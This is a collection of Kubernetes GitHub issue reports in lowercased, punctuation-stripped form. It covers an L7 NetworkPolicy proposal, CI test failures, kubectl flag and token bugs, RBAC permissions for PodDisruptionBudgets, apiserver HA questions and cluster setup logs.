\r \t// the port on the given protocol. this can either be a numerical or named port on\r \t// a pod. if this field is not provided, this matches all port names and numbers.\r \t// +optional\r \tport  intstr.intorstring  json:\ port,omitempty\  protobuf:\ bytes,2,opt,name=port\  \r \r +\t// the rule on the given port/protocol tuple. if this field is\r +\t// provided, the port and protocol field must be set as well and traffic will only be\r +      // allowed when the traffic matches the provided rules.\r +      // \r +      // +optional\r +      rules l7portrule  json:\ rules,omitempty\  protobuf:\ bytes,3,opt,name=application\  \r }\r \r // l7portrule is a union of port level l7 rules. mixing of different port\r // level rule types is disallowed, so exactly one of the following must be set.\r // if none are specified, then no additional port level rules are applied.\r type portrule struct {\r \t// http specific rules.\r \t//\r \t// +optional\r \thttp   portrulehttp  json:\ http,omitempty\  protobuf:\ bytes,1,opt,name=http\  \r \r \r          // kafka specific rule.\r          //\r          // +optional\r \tkafka   portrulekafka  json:”kafka,omitempty” protobuf:”bytes,2,opt,name=kafka” \r }\r // portrulehttp is a list of http protocol constraints. all fields are\r // optional, if all fields are empty or missing, the rule does not have any\r // effect.\r //\r // all fields of this type are extended posix regex as defined by ieee std\r // 1003.1,  i.e this follows the egrep/unix syntax, not the perl syntax \r // matched against the path of an incoming request. currently it can contain\r // characters disallowed from the conventional \ path\  part of a url as defined\r // by rfc 3986.\r type portrulehttp struct {\r \t// path is an extended posix regex matched against the path of a\r \t// request.\r \t// if omitted or empty, all paths are all allowed.\r \t//\r \t// +optional\r \tpath string  json:\ path,omitempty\  protobuf:\ bytes,1,opt,name=path\  \r \t// method is an extended posix regex matched against the method of a\r \t// request, e.g. \ get\ , \ post\ , \ put\ , \ patch\ , \ delete\ , ...\r \t//\r \t// if omitted or empty, all methods are allowed.\r \t//\r \t// +optional\r \tmethod string  json:\ method,omitempty\  protobuf:\ bytes,2,opt,name=method\  \r \t// host is an extended posix regex matched against the host header of a\r \t// request, e.g. \ foo.com\ \r \t//\r \t// if omitted or empty, the value of the host header is ignored.\r \t//\r \t// +optional\r \thost string  json:\ host,omitempty\  protobuf:\ bytes,3,opt,name=host\  \r \t// headers is a list of http headers which must be present in the\r \t// request. if omitted or empty, requests are allowed regardless of\r \t// headers present.\r \t//\r \t// +optional\r \theaders   string  json:\ headers,omitempty\  protobuf:\ bytes,4,opt,name=headers\  \r }\r \r // portrulekafka is a list of kafka protocol constraints. all fields are\r // optional, if all fields are empty or missing, the rule will match all\r // kafka messages.\r type portrulekafka struct {\r         // apiversion is the version matched against the api version of the\r         // kafka message. if set, it has to be a string representing a positive\r         // integer.\r         //\r         // if omitted or empty, all versions are allowed.\r         //\r         // +optional\r         apiversion string  json:\ apiversion,omitempty\  \r         // apikey is a case-insensitive string matched against the key of a\r         // request, e.g. \ produce\ , \ fetch\ , \ createtopic\ , \ deletetopic\ , et al\r         // reference: https://kafka.apache.org/protocol protocol_api_keys\r         //\r         // if omitted or empty, all keys are allowed.\r         //\r         // +optional\r         apikey string  json:\ apikey,omitempty\  \r         // clientid is the client identifier as provided in the request.\r         //\r         // from kafka protocol documentation:\r         // this is a user supplied identifier for the client application. the\r         // user can use any identifier they like and it will be used when\r         // logging errors, monitoring aggregates, etc. for example, one might\r         // want to monitor not just the requests per second overall, but the\r         // number coming from each client application  each of which could\r         // reside on multiple servers . this id acts as a logical grouping\r         // across all requests from a particular client.\r         //\r         // if omitted or empty, all client identifiers are allowed.\r         //\r         // +optional\r         clientid string  json:\ clientid,omitempty\  \r         // topic is the topic name contained in the message. if a kafka request\r         // contains multiple topics, then all topics must be allowed or the\r         // message will be rejected.\r         //\r         // this constraint is ignored if the matched request message type\r         // doesn't contain any topic. maximum size of topic can be 249\r         // characters as per recent kafka spec and allowed characters are\r         // a-z, a-z, 0-9, -, . and _\r         // older kafka versions had longer topic lengths of 255, but in kafka 0.10\r         // version the length was changed from 255 to 249. for compatibility\r         // reasons we are using 255\r         //\r         // if omitted or empty, all topics are allowed.\r         //\r         // +optional\r         topic string  json:\ topic,omitempty\  \r }\r    \r    examples \r 1  a policy that only allows traffic from pods with labels  env=frontend  to\r pods with labels  env=backend  that is a http get request to path  /index.html \r on port 80/tcp:\r    yaml\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: with-l7-policy\r spec:\r   podselector:\r     matchlabels:\r       env: backend\r   ingress:\r   - from:\r     - podselector:\r         matchlabels:\r           env: frontend\r     ports:\r     - protocol: tcp\r       port: 80\r       rules:\r         http:\r           path: \ \\/index\\.html\ \r           method: \ get\ \r    \r 2  a policy that only allows traffic from pods with labels  env=frontend  to\r pods with labels  env=backend  that is a http post request with the prefix\r  /path1/.   on port 80/tcp or a http get request with the prefix\r  /path2/.   on port 8080.\r    yaml\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: with-l7-policy-to-2-ports\r spec:\r   podselector:\r     matchlabels:\r       env: backend\r   ingress:\r   - from:\r     - podselector:\r         matchlabels:\r           env: frontend\r     ports:\r     - protocol: tcp\r       port: 80\r       application:\r         http:\r           path: \ \\/path1\\/. \ \r           method: \ post\ \r     - protocol: tcp\r       port: 8080\r       rules:\r         http:\r           path: \ \\/path2\\/. \ \r           method: \ get\ \r    \r 4  a policy that only allows “produce” but no “consume” traffic from “kafka-producer” to “kafka” on port 9092 tcp.\r    yaml\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: l7-kafka\r spec:\r   podselector:\r     matchlabels:\r       env: kafka\r   ingress:\r   - from:\r     - podselector:\r         matchlabels:\r           env: kafka-producer\r     ports:\r     - protocol: tcp\r       port: 9092\r         rules:\r           kafka:\r           - apikey: \ apiversions\ \r           - apikey: \ metadata\ \r           - apikey: \ produce\ \r             topic: \ deathstar-plans\ \r           - apikey: \ produce\ \r             topic: \ empire-announce\ \r    \r

failing job\r  sig-release-master-blocking gce-scale-correctness  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-correctness \r \r failing test\r   sig-testing  ci-kubernetes-e2e-gce-scale-correctness: beforesuite  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/102 \r \r triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-scale-correctness&test=beforesuite\r \r  / /  /milestone v1.11\r @kubernetes/sig-testing-bugs \r \r cc @jberkus @tpepper @shyamjvs \r \r /assign @bentheelder  for triage\r

it started happening on 2018-08-16:\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-beta/1177\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-beta/1178\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-beta/1182\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:471\r expected\r     <int>: 0\r not to be zero-valued\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:478\r    \r \r https://github.com/kubernetes/kubernetes/blob/39e341c11f9a18d7fcbf78e4dce6801131e2ba38/test/e2e/scalability/density.go l476-l478\r \r /assign\r /cc @shyamjvs \r  \r i see that before this happens kubelet was able to successfully print all nodes in ready state.\r also in kube-apiserver.log i can't see any 'get /api/v1/nodes' call around that time which suggests that this is rather problem with out test infrastructure or networking than issue with nodes really being not ready that time.\r \r i see that getmasterandworkernodesordie never dies and ignores an error returning empty array in case of call error:\r \r https://github.com/kubernetes/kubernetes/blob/008165027b32db28d447eeaa0995fb686c6a18c1/test/e2e/framework/util.go l4831-l4843

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r    \r  rodencor@heredesk ~ $ kubectl get pods -a\r flag --show-all has been deprecated, will be removed in an upcoming release\r    \r \r now i'm lost. what am i supposed to use instead of  -a ? is  -a  the default now?\r \r   what you expected to happen  :\r \r    \r  rodencor@heredesk ~ $ kubectl get pods -a\r flag --show-all has been deprecated, will be removed in an upcoming release. use <some-flag> instead\r    \r \r ... or ... \r \r    \r  rodencor@heredesk ~ $ kubectl get pods -a\r flag --show-all has been deprecated, will be removed in an upcoming release. pods of all states are shown by default now.\r    \r \r ... or ... \r \r  whatever the real explanation is \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

\r   what happened  :\r \r when apiserver is using apiservice and service external-ip to access the external http service a sample metric service ,the \ http request header host\  is still the apiserver's host, causing the external http proxy services are failed to forward the request normally.\r \r the requested link is like this，   client  ->  apiserver  ->  external http proxy service  ->  real http service metric service   \r \r \r   what you expected to happen  :\r many http proxy servers handle request forwarding through the http request header host, such as nginx。if the aggregator accesses an external http service, the original request header host should be request.url.host\r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1.create apiservice and externalname service\r 2.create a http proxy server eg.nginx  and print the \ http header host\  to nginx accesslog\r 3.try to change test-ext-adaptor.dailyevn.net dns ip to the proxy server ip\r 4.access https://127.0.0.1:6443/apis/power.metrics.extender/v1alpha1/nodes\r 5.see nginx access log,the \ http header host\  is '127.0.0.1:6443' but not  test-ext-adaptor.dailyevn.net:443\r \r   the following is the configuration：  \r \r >  root@8c00516de625 ~   kubectl get svc\r name            type           cluster-ip   external-ip                          port s    age\r kubernetes      clusterip      10.254.0.1   <none>                               443/tcp   2d\r power-metrics   externalname   <none>       test-ext-adaptor.dailyevn.net   <none>    2d\r \r >  root@8c00516de625 ~   kubectl describe apiservices v1alpha1.power.metrics.extender\r name:         v1alpha1.power.metrics.extenderiservices v1alpha1.power.metrics.extender\r namespace:\r labels:       <none>\r annotations:  <none>\r api version:  apiregistration.k8s.io/v1\r kind:         apiservice\r metadata:\r   creation timestamp:  2018-11-30t07:54:23z\r   resource version:    38765\r   self link:           /apis/apiregistration.k8s.io/v1/apiservices/v1alpha1.power.metrics.extender\r   uid:                 2702bed7-f475-11e8-a76f-02427ea09f19\r spec:\r   group:                     power.metrics.extender\r   group     1000\r   insecure skip tls verify:  true\r   service:\r     name:            power-metrics\r     namespace:       default\r   version:           v1alpha1\r   version priority:  15\r status:\r   conditions:\r     last transition time:  2018-12-03t05:51:12z\r     message:               all checks passed\r     reason:                passed\r     status:                true\r     type:                  available\r events:                    <none>\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-11-30t07:43:21z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.2304+d08e68e75974eb\ , gitcommit:\ d08e68e75974eb31fd65422c969b352ed8397edc\ , gittreestate:\ clean\ , builddate:\ 2018-11-30t16:20:19z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r linux 2a9cd2f00c15 4.9.87-linuxkit-aufs  1 smp wed mar 14 15:12:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

adding a validating admission webhook targeting deployments/scale  or any other /scale  breaks all such scale operations when the dynamic webhook admission plugin attempts to serve the plugin, and convert  deployment  to  scale  when trying to prepare the old object.\r \r reproducer:\r 1. register a webhook targetting  deployments/scale   you don't need a backing hook \r \r   <details>\r \r   <summary>whconfig.yaml</summary>\r \r    yaml\r apiversion: admissionregistration.k8s.io/v1beta1\r kind: validatingwebhookconfiguration\r metadata:\r   name: test-repro\r webhooks:\r - name: test-repro.test.k8s.io\r   clientconfig:\r     url: https://localhost:8675/hook\r     cabundle: <your ca bundle>\r   rules:\r   - apigroups:  \  \  \r     apiversions:  \  \  \r     operations:  \  \  \r     resources:  \ deployments/scale\  \r    \r \r   </details>\r \r 2.  kubectl scale deploy/<some-deployment> --replicas=2 \r \r 3. observe that you get an internalservererror with an error about converting  deployment  to  scale \r \r the line responsible for the error is https://github.com/kubernetes/kubernetes/blob/cebb4ee2ac9e19fe90f78c3285978e585e67a3ac/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/generic/webhook.go l177-l181\r \r kubernetes version: 8af1bf313efeeafb94c01ce04965ad8fe9cea21a and also v1.11.3

we do not report much in the way of stats  memory used, latency, counters, etc  for our core components.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-reboot/23/  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:118 sep 23 09:11:32.731: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158

it would be nice to maintain a set of preconfigured cluster vm images, in order for newcomers to easily try kubernetes, without checking out the source tree and dynamically provisioning a cluster.   related to  3244   this could take the form of a  bootstrap-vz  https://github.com/andsens/bootstrap-vz  plugin that add the kubernetes binary and init files, and produce a preconfigured single node cluster image for virtualbox and other supported  providers  https://github.com/andsens/bootstrap-vz/tree/master/bootstrapvz/providers . based on the  docker_daemon  in the  development branch  https://github.com/andsens/bootstrap-vz/tree/development/bootstrapvz/plugins/docker_daemon   @kelseyhightower mentionned https://packer.io/, but it doesn't apparently provide a way to build a box from scratch, it rather assume you start from an existing image and dynamically provision it over ssh.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-ingress-release-1.4/534/  failed:  k8s.io  loadbalancing: l7  feature:ingress   k8s.io  nginx  slow   feature: ingress  should conform to ingress spec {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:172 expected error:     < exec.exiterror | 0xc820ad64c0>: {         processstate: {             pid: 8011,             status: 256,             rusage: {                 utime: {sec: 0, usec: 296000},                 stime: {sec: 0, usec: 76000},                 maxrss: 37608,                 ixrss: 0,                 idrss: 0,                 isrss: 0,                 minflt: 18833,                 majflt: 0,                 nswap: 0,                 inblock: 0,                 oublock: 24,                 msgsnd: 0,                 msgrcv: 0,                 nsignals: 0,                 nvcsw: 54,                 nivcsw: 29,             },         },         stderr: nil,     }     exit status 1 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:661

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-etcd3/1824/  failed:  k8s.io  prestop should call prestop when killing a pod  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pre_stop.go:167 validating pre-stop. expected error:     < errors.errorstring | 0xc420415820>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pre_stop.go:159       previous issues for this test:  30287

\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kubectl token\r \r \r bug report\r \r   kubernetes version    use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r gke\r \r -   os    e.g. from /etc/os-release :\r macos sierra 10.12.4\r \r -   kernel    e.g.  uname -a  :\r ➜  uname  -a\r darwin jacobsimpson-macbookpro.roam.corp.google.com 16.5.0 darwin kernel version 16.5.0: fri mar  3 16:52:33 pst 2017; root:xnu-3789.51.2~3/release_x86_64 x86_64\r \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i set up a second user, then i use  kubectl --token  to authenticate as the second user. the  --token  parameter is ignored and the authentication token from the  ~/.kube/config  file is used instead, so i'm authenticated as the user configured in the config file, not as the user set on the command line parameters.\r \r i further verified this by commenting out the section in the config file with the authentication token and then the  --token  parameter starts to work as expected.\r \r   what you expected to happen  :\r i expect the command line parameters, when present, to override the config file settings.\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r gcloud container clusters create test-cluster --cluster-version=1.6.1\r primary_account=$ gcloud auth list 2>&1 | grep active | sed 's/. - \\  ^   \\  . /\\1/' \r admin_token=\ $ gcloud auth print-access-token --account=$primary_account \ \r gcloud iam service-accounts create user-1 --display-name=user-1\r user_account=$ gcloud iam service-accounts list --format='value email ' --filter='displayname:user-1' \r gcloud iam service-accounts keys create --iam-account $user_account user_key.json\r gcloud auth activate-service-account $user_account --key-file=user_key.json\r user_token=\ $ gcloud auth print-access-token --account=$user_account \ \r kubectl --token=\ $admin_token\  get nodes\r    \r \r at this point, the error message should be indicating kubectl tried to authenticate with the  user-1  account. something like this:\r \r    sh\r ➜  kubectl --token=\ $admin_token\  get nodes\r error from server  forbidden : user \ user-1@project-name.iam.gserviceaccount.com\  cannot list nodes at the cluster scope.: \ no policy matched.\ required \\\ container.nodes.list\\\  permission.\   get nodes \r    \r \r now edit  ~/.kube/config , search for the  auth-provider:  section for your cluster and comment out the whole section for the test cluster.\r \r    yaml\r - name: test-cluster\r   user:\r      auth-provider:\r        config:\r          access-token: ya29.xxxxx\r          cmd-args: config config-helper --format=json\r          cmd-path: /.../gcloud\r          expiry: 2017-04-11t21:06:25z\r          expiry-key: '{.credential.token_expiry}'\r          token-key: '{.credential.access_token}'\r        name: gcp\r    \r \r now it should be possible to run these two commands. the one using the $admin_token will succeed, the one using the $user_token will fail with the error message indicating the user name.\r \r    sh\r kubectl --token=\ $admin_token\  get nodes\r kubectl --token=\ $user_token\  get nodes\r    \r \r \r   anything else we need to know  :\r \r

 \r i currently use multiple  a  dns records for my canonical apiserver address in order to provide some kind of fault-tolerance if a master goes down in my on-premise kubernetes deployment:\r \r    \r ;; answer section:\r master.cluster1.k8s.local.       60      in      a       10.0.1.1\r master.cluster1.k8s.local.       60      in      a       10.0.2.1\r master.cluster1.k8s.local.       60      in      a       10.0.3.1\r    \r \r this works most of the time, but if a master dies sometimes various  kubelet s fail to report node statuses multiple times and kubernetes starts rescheduling pods. if kubelet and kube-proxy are supposed to handle multiple a records more intelligently than trying to connect to  api_servers rand   % len api_servers    please let me know, as i don't think this is working  i'm running v1.6.6 .\r \r i could monitor all apiservers and update dns automatically, but that's non-trivial. as far as i know i have these other options:\r \r 1. deploy a load balancer and make that highly-available. i dislike this as this is yet another thing to maintain.\r 2. run pacemaker/keepalived on the kubernetes masters and use a virtual ip for the apiserver address.\r 3. use a routing protocol like ospf/bgp to advertise a virtual ip for the apiservers. routers can then either pick one of the apiservers or use equal-cost multi-path routing  ecmp  to provide basic load-balancing.\r \r options 2 and 3 mean that i have to define a routable virtual ip address. i already advertise  and route  the service range   --service-cluster-ip-range   of my clusters and ideally i'd like to reserve a /32 in there for the apiservers. i could define a new subnet, but why complicate my routing? all i need is a single ip address.\r \r afaik i could define a headless service with a port that i won't use and then use its virtual ip address together with custom  iptables  rules, but that sounds like a horrible hack. what if in a future release kube-proxy starts inserting  <ip address>:   iptables rules instead of the  <ip address>:<port>  rules?\r \r questions:\r \r   is there an easy way for me to reserve a certain ip address in the clusterip range so that it won't be handled by kube-proxy at all? if not, is this a feature worth implementing?\r   is the headless service hack acceptable?\r   should i investigate alternative ha methods for the apiservers?\r \r /area admin \r /area ha\r /area kube-proxy \r   \r  \r @sig-cluster-lifecycle-misc

running hack/local-up-cluster.sh with  keep_terminated_pod_volumes=false , start a busybox pod that terminates after 10s and does not restart:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: busybox\r spec:\r   containers:\r   - name: busybox\r     image: busybox\r     command:\r     - sleep\r     - \ 10\ \r   terminationgraceperiodseconds: 0\r   restartpolicy: never\r    \r \r in ~10s, the pod goes to complete.  2 minutes later two events occur:\r \r    \r 2017-07-26 16:32:54 -0500 cdt   2017-07-26 16:32:54 -0500 cdt   1         busybox   pod                 warning   failedmount   kubelet, 127.0.0.1   unable to mount volumes for pod \ busybox_default aaa4c2ce-7249-11e7-8f15-7085c20cf2ab \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ busybox\ . list of unattached/unmounted volumes= default-token-3dgs5 \r 2017-07-26 16:32:54 -0500 cdt   2017-07-26 16:32:54 -0500 cdt   1         busybox   pod                 warning   failedsync   kubelet, 127.0.0.1   error syncing pod\r    \r \r the occurs because a  syncpod    is called from a pod worker after the volumes have already been unmounted, because the pod is terminated, and  kl.volumemanager.waitforattachandmount pod   hangs for 2 minutes then times out as the volume reconciler will not remount these volumes.\r \r xref https://github.com/openshift/origin/issues/14383\r \r @derekwaynecarr @eparis @smarterclayton @saad-ali \r \r 

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r for a fresh cluster using the rbac authorization plugin, with its \ bootstrap\  _clusterroles_ loaded, neither a user granted the  \ admin\   https://github.com/kubernetes/kubernetes/blob/0cb8bae6ac6cc1d331052194e3e290d001e45dab/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/testdata/cluster-roles.yaml l3-l163  nor the  \ edit\   https://github.com/kubernetes/kubernetes/blob/0cb8bae6ac6cc1d331052194e3e290d001e45dab/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/testdata/cluster-roles.yaml l184-l324  _clusterrole_ via a _rolebinding_ can create a _poddisruptionbudget_ object within the namespace where that user can otherwise create the \ applications\  meant to be protected by a _poddisruptionbudget_.\r \r   what you expected to happen  :\r  the documentation for _poddisruptionbudget_  https://kubernetes.io/docs/concepts/workloads/pods/disruptions/ how-disruption-budgets-work  reads as follows:\r > an application owner can create a  poddisruptionbudget  object  pdb  for each application. a pdb limits the number pods of a replicated application that are down simultaneously from voluntary disruptions.\r \r the \ application owner\  role in that document is distinct from the \ cluster manager\  and \ hosting provider\  role. the 'application owner\  is the one who creates the _deployment_ or any other pod-managing object, not the cluster administrator presumed to have the permissions in the \ cluster-admin\  _clusterrole_.\r \r i expect that users who can create _deployments_ and kind should be able to create _poddisruptionbudgets_ as well. hence, one solution is to allow the bootstrap \ admin\  and \ edit\  roles to create, mutate, and delete _poddisruptionbudgets_.\r \r   how to reproduce it  as minimally and precisely as possible   :\r grant a user the \ edit\  _clusterrole_ within a namespace via a _rolebinding_. authenticate as that user, and attempt to create a _poddisruptionbudget_. observe that the api server rejects the request as forbidden.\r \r   anything else we need to know?  :\r i  asked in the \ sig-auth\  channel of the \ kubernetes\  slack team  https://kubernetes.slack.com/archives/c0en96kuy/p1502826416000083  whether this lack of permission is intentional, or whether it's a mistaken omission, but i didn't receive a reply.\r \r this omission is similar in nature to  40881.\r \r @kubernetes/sig-auth-bugs\r \r   environment  :\r - kubernetes version:  \r   > client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t15:13:53z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r   > \r   > server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.6-21+464b547b816b32\ , gitcommit:\ 464b547b816b32a76944088268b69232ef3571c7\ , gittreestate:\ clean\ , builddate:\ 2017-07-28t20:20:51z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:  \r    none pertinent \r \r - os  e.g. from /etc/os-release :  \r   client: macos sierra 10.12.6\r   server: ubuntu 16.04.1 lts\r \r - kernel  e.g.  uname -a  :  \r   4.4.0-78-generic

lan platform，configuration is as follows：\r       1.etcd 3.1.7\r /usr/bin/etcd --name=default --data-dir=/var/lib/etcd/default.etcd --listen-client-urls=http://0.0.0.0:2379\r    2.flannel 0.7.0\r /usr/bin/flanneld -etcd-endpoints=http://192.168.206.14:2379 -etcd-prefix=/kube/network\r    3.docker 1.12.6\r /usr/bin/dockerd-current --add-runtime docker-runc=/usr/libexec/docker/docker-runc-current --default-runtime=docker-runc --exec-opt native.cgroupdriver=systemd --userland-proxy-path=/usr/libexec/docker/docker-proxy-current --selinux-enabled --bip=172.17.21.1/24 --ip-masq=true --mtu=1472\r /usr/bin/docker-containerd-current -l unix:///var/run/docker/libcontainerd/docker-containerd.sock --shim docker-containerd-shim --metrics-interval=0 --start-timeout 2m --state-dir /var/run/docker/libcontainerd/containerd --runtime docker-runc --runtime-args --systemd-cgroup=true\r    4.kube-apsierver 1.6.7\r /usr/bin/kube-apiserver --logtostderr=false --v=2 --etcd-servers=http://192.168.206.14:2379 --insecure-bind-address=0.0.0.0 --allow-privileged=false --service-cluster-ip-range=172.17.0.0/16 --admission-control=namespacelifecycle,namespaceexists,alwaysadmit,limitranger,securitycontextdeny,serviceaccount,resourcequota --service-node-port-range 80-32767 --storage-backend etcd2 --authorization-mode=alwaysallow\r    5.kube-scheduler 1.6.7\r /usr/bin/kube-scheduler --logtostderr=false --v=2 --master=http://192.168.206.14:8080\r    6.kube-controller-manager 1.6.7\r /usr/bin/kube-controller-manager --logtostderr=false --v=2 --master=http://192.168.206.14:8080 --pod-eviction-timeout=30s --service-account-private-key-file=/var/run/kubernetes/apiserver.key --root-ca-file=/var/run/kubernetes/apiserver.crt\r    7.kubelet 1.6.7\r /usr/bin/kubelet --logtostderr=false --v=2 --api-servers=http://192.168.206.14:8080 --address=0.0.0.0 --port=10250 --hostname-override=192.168.206.14 --pod-infra-container-image=pause-amd64 --allow-privileged=false --cluster-dns=172.17.0.100 --cluster-domain=cluster.local --cgroup-driver=systemd\r    8.kube-proxy 1.6.7\r /usr/bin/kube-proxy --logtostderr=false --v=2 --master=http://192.168.206.14:8080\r    9.install kube-dns ，the first time is success, the log is as follows\r kube-dns 1.14.4\r  2017-10-28t01:58:44.343889z i1028 01:58:44.343320       1 dns.go:48  version: 1.14.4\r 2017-10-28t01:58:44.349148z i1028 01:58:44.348918       1 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r 2017-10-28t01:58:44.349546z i1028 01:58:44.349312       1 server.go:113  flag: --alsologtostderr=\ false\ \r 2017-10-28t01:58:44.349588z i1028 01:58:44.349381       1 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r 2017-10-28t01:58:44.34962z i1028 01:58:44.349426       1 server.go:113  flag: --config-map=\ \ \r 2017-10-28t01:58:44.349764z i1028 01:58:44.349456       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r 2017-10-28t01:58:44.349848z i1028 01:58:44.349489       1 server.go:113  flag: --config-period=\ 10s\ \r 2017-10-28t01:58:44.349905z i1028 01:58:44.349528       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r 2017-10-28t01:58:44.349937z i1028 01:58:44.349559       1 server.go:113  flag: --dns-port=\ 10053\ \r 2017-10-28t01:58:44.349968z i1028 01:58:44.349599       1 server.go:113  flag: --domain=\ cluster.local.\ \r 2017-10-28t01:58:44.349998z i1028 01:58:44.349639       1 server.go:113  flag: --federations=\ \ \r 2017-10-28t01:58:44.350028z i1028 01:58:44.349675       1 server.go:113  flag: --healthz-port=\ 8081\ \r 2017-10-28t01:58:44.350057z i1028 01:58:44.349707       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r 2017-10-28t01:58:44.350087z i1028 01:58:44.349738       1 server.go:113  flag: --kube-master-url=\ \ \r 2017-10-28t01:58:44.350126z i1028 